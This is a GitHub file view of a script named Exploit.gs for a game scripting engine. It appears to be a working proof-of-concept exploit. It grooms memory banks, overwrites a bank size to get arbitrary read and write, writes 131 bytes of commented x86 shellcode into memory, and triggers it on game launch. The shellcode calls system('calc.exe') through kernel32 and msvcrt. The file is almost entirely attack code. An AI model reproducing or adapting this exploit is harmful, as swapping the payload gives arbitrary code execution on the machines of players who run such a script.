Repository navigation
Expand file tree
/
Copy pathExploit.gs
More file actions
186 lines (186 loc) · 4.61 KB
/
Copy pathExploit.gs
File metadata and controls
186 lines (186 loc) · 4.61 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
#playerscript
local shellcode = [131, SE_INT]
shellcode[0] = 96 // pushad
shellcode[1] = 51 // xor eax, eax
shellcode[2] = 192
shellcode[3] = 80 // push eax
shellcode[4] = 104 // push ".dll"
shellcode[5] = 46
shellcode[6] = 100
shellcode[7] = 108
shellcode[8] = 108
shellcode[9] = 104 // push "el32"
shellcode[10] = 101
shellcode[11] = 108
shellcode[12] = 51
shellcode[13] = 50
shellcode[14] = 104 // push "kern"
shellcode[15] = 107
shellcode[16] = 101
shellcode[17] = 114
shellcode[18] = 110
shellcode[19] = 84 // push esp
shellcode[20] = 161 // mov eax, [0x100D60C0]
shellcode[21] = 192
shellcode[22] = 96
shellcode[23] = 13
shellcode[24] = 16
shellcode[25] = 255 // call eax
shellcode[26] = 208
shellcode[27] = 131 // add esp, 16
shellcode[28] = 196
shellcode[29] = 16
shellcode[30] = 139 // mov esi, eax
shellcode[31] = 240
shellcode[32] = 104 // push "ll\0\0"
shellcode[33] = 108
shellcode[34] = 108
shellcode[35] = 0
shellcode[36] = 0
shellcode[37] = 104 // push "rt.d"
shellcode[38] = 114
shellcode[39] = 116
shellcode[40] = 46
shellcode[41] = 100
shellcode[42] = 104 // push "msvc"
shellcode[43] = 109
shellcode[44] = 115
shellcode[45] = 118
shellcode[46] = 99
shellcode[47] = 84 // push esp
shellcode[48] = 161 // mov eax, [0x100D60C0]
shellcode[49] = 192
shellcode[50] = 96
shellcode[51] = 13
shellcode[52] = 16
shellcode[53] = 255 // call eax
shellcode[54] = 208
shellcode[55] = 131 // add esp, 12
shellcode[56] = 196
shellcode[57] = 12
shellcode[58] = 139 // mov ebx, eax
shellcode[59] = 216
shellcode[60] = 104 // push "em\0\0"
shellcode[61] = 101
shellcode[62] = 109
shellcode[63] = 0
shellcode[64] = 0
shellcode[65] = 104 // push "syst"
shellcode[66] = 115
shellcode[67] = 121
shellcode[68] = 115
shellcode[69] = 116
shellcode[70] = 84 // push esp
shellcode[71] = 83 // push ebx
shellcode[72] = 161 // mov eax, [0x100D60C4]
shellcode[73] = 196
shellcode[74] = 96
shellcode[75] = 13
shellcode[76] = 16
shellcode[77] = 255 // call eax
shellcode[78] = 208
shellcode[79] = 131 // add esp, 8
shellcode[80] = 196
shellcode[81] = 8
shellcode[82] = 139 // mov edi, eax
shellcode[83] = 248
shellcode[84] = 51 // xor eax, eax
shellcode[85] = 192
shellcode[86] = 80 // push eax
shellcode[87] = 104 // push ".exe"
shellcode[88] = 46
shellcode[89] = 101
shellcode[90] = 120
shellcode[91] = 101
shellcode[92] = 104 // push "calc"
shellcode[93] = 99
shellcode[94] = 97
shellcode[95] = 108
shellcode[96] = 99
shellcode[97] = 84 // push esp
shellcode[98] = 255 // call edi
shellcode[99] = 215
shellcode[100] = 131 // add esp, 16
shellcode[101] = 196
shellcode[102] = 16
shellcode[103] = 104 // push "ess\0"
shellcode[104] = 101
shellcode[105] = 115
shellcode[106] = 115
shellcode[107] = 0
shellcode[108] = 104 // push "Proc"
shellcode[109] = 80
shellcode[110] = 114
shellcode[111] = 111
shellcode[112] = 99
shellcode[113] = 104 // push "Exit"
shellcode[114] = 69
shellcode[115] = 120
shellcode[116] = 105
shellcode[117] = 116
shellcode[118] = 84 // push esp
shellcode[119] = 86 // push esi
shellcode[120] = 161 // mov eax, [0x100D60C4]
shellcode[121] = 196
shellcode[122] = 96
shellcode[123] = 13
shellcode[124] = 16
shellcode[125] = 255 // call eax
shellcode[126] = 208
shellcode[127] = 106 // push 0
shellcode[128] = 0
shellcode[129] = 255 // call eax
shellcode[130] = 208
local meow = 0
local offset = 0
public def memory_read_exploit(memory_address)
local mem_loc = memory_address - offset
return PeekInt(meow, mem_loc)
end
public def memory_write_exploit(memory_address, operand)
local mem_loc = memory_address - offset
PokeInt(meow, mem_loc, operand)
return
end
local handles = CreateBank(200)
for i = 0; i < 50; i = i + 1
b = CreateBank(4)
PokeInt(handles, i * 4, b)
end
for i = 0; i < 50; i = i + 1
if offset != 0 then
break
end
b = PeekInt(handles, i * 4)
for blk = 1; blk <= 5; blk = blk + 1
if offset != 0 then
break
end
size_offset = 8 - (blk * 32)
v = PeekInt(b, size_offset)
if v == 4 then
v2 = PeekInt(b, size_offset + 4)
if v2 == 16 then
offset = PeekInt(b, size_offset - 4)
PokeInt(b, size_offset, 2147483647)
break
end
end
end
end
for i = 0; i < 50; i = i + 1
b = PeekInt(handles, i * 4)
if BankSize(b) == 2147483647 then
meow = b
end
end
local shellcode_buffer = CreateBank(256)
for i = 0; i < 131; i = i + 1
PokeByte(shellcode_buffer, i, shellcode[i])
end
public def OnLaunchGame()
memory_write_exploit(meow + 4, 269381632)
offset = 269381632
CopyBank(shellcode_buffer, 0, meow, 96000, 131)
memory_write_exploit(269381632 + 35328, 269477632)
end